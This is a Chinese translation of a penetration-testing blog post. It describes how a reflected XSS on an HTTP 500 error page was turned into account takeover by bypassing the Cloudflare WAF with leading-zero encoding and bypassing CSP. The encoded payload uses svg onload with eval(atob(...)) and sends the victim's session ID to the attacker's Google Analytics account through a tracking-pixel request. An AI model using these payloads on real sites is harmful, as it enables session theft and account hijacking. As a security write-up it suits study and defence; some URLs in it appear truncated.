行业新闻

从500到账户接管

从500到账户接管

译文来源:https://sensepost.com/blog/2021/from-500-to-account-takeover/。受个人知识所限及偏见影响,部分内容可能会存在过度曲解及误解情况,望各位师傅包含并提出建议,感谢。

简介

在一次漏洞评估的过程中,一个位于HTTP 500“内部服务器错误”页面上的普通跨站脚本(XSS)漏洞,被我成功地变成了一键式的账户接管。在本篇博客中,我希望将本次我利用已知的Cloudflare WAF绕过技术,和利用Google Analytics作为CSP绕过手段来提取会话口令的方式给大家叙述一下。

信息侦查

在评估开始时,我很快就注意到该Web应用将会话ID作为某种JavaScript报错函数的一部分存储在了一个message变量里。且如果window.error事件被触发的话,该函数就会被执行。

wKg0C2JSyWeAXvjcAADKQkMgZU471.png

于是我便着手去寻找一种提取这些数据的方法。有什么会是可能性和理论上更适合做这件事的中间人呢?当然是XSS!

wKg0C2JSyWACx3AAABiQozzAnw727.png

在评估过程中,我的同事Koen Claes提到了这个有意思的XSS向量,我们可以在一个500“内部服务器错误”页面上找到它。请注意下方URL中的EndUserVisibleHtmlMessage参数:

https://webapp.example.eu/Shared/VisibleError?NotDialog=TrueXSSpayloadhere> script>alert(1)/script>这样简单的的payload将不会起到任何效果。

DNS覆盖

我们首先想到的是尝试一种比较常用的手段在客户端层面上来绕过WAF:DNS覆盖。假设我们能够找到Cloudflare背后的源服务器(并且它允许来自公网的连接),我们就可以通过直接与该服务器相连从而绕过WAF。

有许多众所周知的方法都能够找到那些受云WAF(或者干脆就是指Cloudflare WAF本身的扩展应用)保护的web服务背后的源服务器。比方说:

  1. 1.在Censys或类似的服务中搜索目标网站的域名,这样会显示出有哪些服务器正在使用与目标服务器相同的TLS证书等信息
  2. 2.通过在Shodan上搜索相同的favico哈希值来尝试暴露出相关地址(可以通过在https://github.com/pielco11/fav-up上实现)
  3. 3.查询DNS历史数据

一旦你获取到了源服务器的IP地址,Burp Suite允许在“Project Options(项目选项)” -> “Hostname Resolution(主机名解析)”处快速设置你自己的DNS记录。

wKg0C2JSyXWAAq8zAABaO91LyQ511.png

当将我们发现的源服务器IP地址填入并启用“Hostname Resolution”后,Koen证实了他的想法,的确可以触发XSS。那个周所周知的alert(1)弹框就要执行了。

但你们可能会想“在针对受害者进行攻击时,这种方法在尝试绕过Cloudflare并不总是可行的”。你们想的没错,尤其是当你无法访问到受害者的基础设备或计算机时。因此这种方法并不能真正地作为我们攻击链中的一环,我们便转而专注于在应用程序层面上去绕过Cloudflare。

基于签名绕过Cloudflare的方法

Cloudflare做了很多非常酷的事情,我也推荐你们可以去看一下他们的博客!但他们也有做得不好的地方,一些众所周知的WAF绕过手段似乎并没有引起他们的注意/未修复。我查到了一个在我们案例中使用的绕过手段,发现它早在2019年6月份就被上报了,但截至目前2021年2月份却仍然有效。

Cloudflare的XSS绕过可以通过添加8位或更多位多余的十进制前导零,或是添加7位或更多位十六进制的前导零来实现。

十进制:

十六进制:

— Bohdan Korzhynskyi (@bohdansec) June 4, 2019

那条推特实际上是我在Google上第一个找到的绕过Cloudflare的推文......结果它就真的可以成功绕过并实现弹框。

https://webapp.example.eu/Shared/VisibleError?NotDialog=True script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://maps.googleapis.com https://webapp.example.eu https://connect.facebook.net https://themes.example.eu; img-src 'self' https://ssl.google-analytics.com https://s-static.ak.facebook.com https://webapp.example.eu https://themes.example.eu http://images-awstest.example.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://webapp.example.eu https://themes.example.eu; font-src 'self' https://themes.googleusercontent.com; frame-src https://webapp.example.eu https://www.facebook.com https://s-static.ak.facebook.com; object-src 'none'

通过详细地检查CSP后,我们发现由于在CSP中设置了” 'self','unsafe-inline','unsafe-eval' “,它只允许运行来自其域本身的脚本。

所以我想,或许可以写一个利用Burp Collaborator中URL的fetch()方法来解决这个问题,但后来证实我想多了...... 我们发现了一个错误,提示connect-src不支持fetch()函数来对未声明域进行外部HTTP调用。只有对源域才是有效的。

wKg0C2JSyXqANCD4AAEhUtxZUn4934.png

尽管connect-src在CSP中并没有写明,但是default-src 'self'会禁止任何未声明的指令被“恶意”执行。好吧,那究竟什么才是被允许的呢?

img-src https://ssl.google-analytics.com

或许这对于大多数人来说算是敲响了一次警钟吧。可以通过Google Analytics来进行提取会话口令!但是要怎么做呢?

Google Analytics

和Facebook一样,Google Analytics通过跟踪像素来提供跟踪功能。通常,跟踪像素会进行一些日志记录/指纹识别,但在本例中,我们可以主动将其利用为一个数据提取的通道。

通过深挖Google Analytics文档,我们发现可以构造一个有意思的collect接口URL。这个URL含有允许包含任意字符串的特定参数。该参数称为ea

wKg0C2JSyYCAMyVVAABzZQBKpII759.png

为了能够利用跟踪像素成功添加该Google Analytics,需要3个强制性参数:

  1. 1.tid,这是我们为执行攻击而设置的Google Analytics PoC账户ID
  2. 2.cid,这是一个随机数,用于区分浏览器/用户,也就是指纹识别
  3. 3.ea,可以对其分配任意字符串

所以,一个简单的示例就会是以下这样:

https://ssl.google-analytics.com/collect?v=1

接下来,声明我们的regex变量:

var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm;

下面的步骤可能会有点复杂。

该应用程序在HTTP响应状态为200 OK时才会返回之前提到的那个JavaScript报错函数,但由于我们的XSS入口是在HTTP 500 “内部服务器错误”页面上发现的,所以我们不得不使用一下跨站请求伪造。简单来说上是向一个页面发出请求,该页面的响应中会包含我们需要提取出来的会话ID。

关于我们的payload,下面的JavaScript将执行以下操作:

  1. 1.获取HTTP响应状态为200 OK的页面的内容,为了设计PoC,我们在示例中填写的是一个名为/Search/Criteria的随机页面URL
  2. 2.将我们的Google Analyticscollect接口URL作为源分配给img标签的属性
  3. 3.cidMath.random()函数随机生成
  4. 4.最重要的是,ea参数中填入了为提取SessionID用到的正则表达式
fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1

最后,通过将实际的gaimage追加到HTML DOM中来完成此代码:

document.head.appendChild(gaimage);

我们的JavaScript生成的恶意img元素,看起来如下:

img src="https://ssl.google-analytics.com/collect?v=1
var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm; fetch("/Search/Criteria").then(response => response.text()).then(data => gaimage.src = "https://ssl.google-analytics.com/collect?v=1
document.head.appendChild(gaimage);

将会变成这样:

dmFyIGdhaW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsKdmFyIHJlZ2V4ID0gLyg%2FOlNlc3Npb25JRDogKD86W2EtekEtWjAtOS1fXXsyNH0pKS9nbTsgZmV0Y2goIi9TZWFyY2gvQ3JpdGVyaWEiKS50aGVuKHJlc3BvbnNlID0%2BIHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0%2BIGdhaW1hZ2Uuc3JjID0gImh0dHBzOi8vc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tL2NvbGxlY3Q%2Fdj0xJnRpZD1VQS0xOTAxODMwMTUtMSZjaWQ9IiArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSArICImdD1ldmVudCZlYz1lbWFpbCZlYT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEubWF0Y2gocmVnZXgpKSk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZ2FpbWFnZSk7

这也意味着,输出的payload本身必须按照我们编码时的步骤进行解码以构建HTML payload:

svg onload=eval(atob(decodeURIComponent("dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs=")))>

但是,像上面这样的HTML将不会起作用,因为它没有进行Cloudflare绕过的处理。通过应用我之前提到的Cloudflare绕过手段,我们最终就得到一个可以发送给受害者链接了:

https://webapp.example.eu/Shared/VisibleError?NotDialog=Trueimg>标签会被插入到DOM中,如下所示。

wKg0C2JSyZGAH4oPAAB85CDGqME72.jpeg

在浏览器中执行的HTML注入不会触发客户端报错。随着会话ID被添加到一个跟踪像素上,payload就已经准备好通过Google Analytics来发送给攻击者了。

攻击者的视角

在攻击者的Google Analytics面板中,我们可以看到受害者会话ID被作为“活跃用户”发送到我们的应用程序上:)

wKg0C2JSyZqAJUQBAABVgngVfcc526.png

将这些漏洞串联起来,通过向受害者发送一个链接从而最终实现了账户接管。

补充说明:使用带有跟踪保护功能广告拦截器的用户不易受到此类攻击,因为对Google Analytics 的请求通常会被这些扩展程序阻拦。

关闭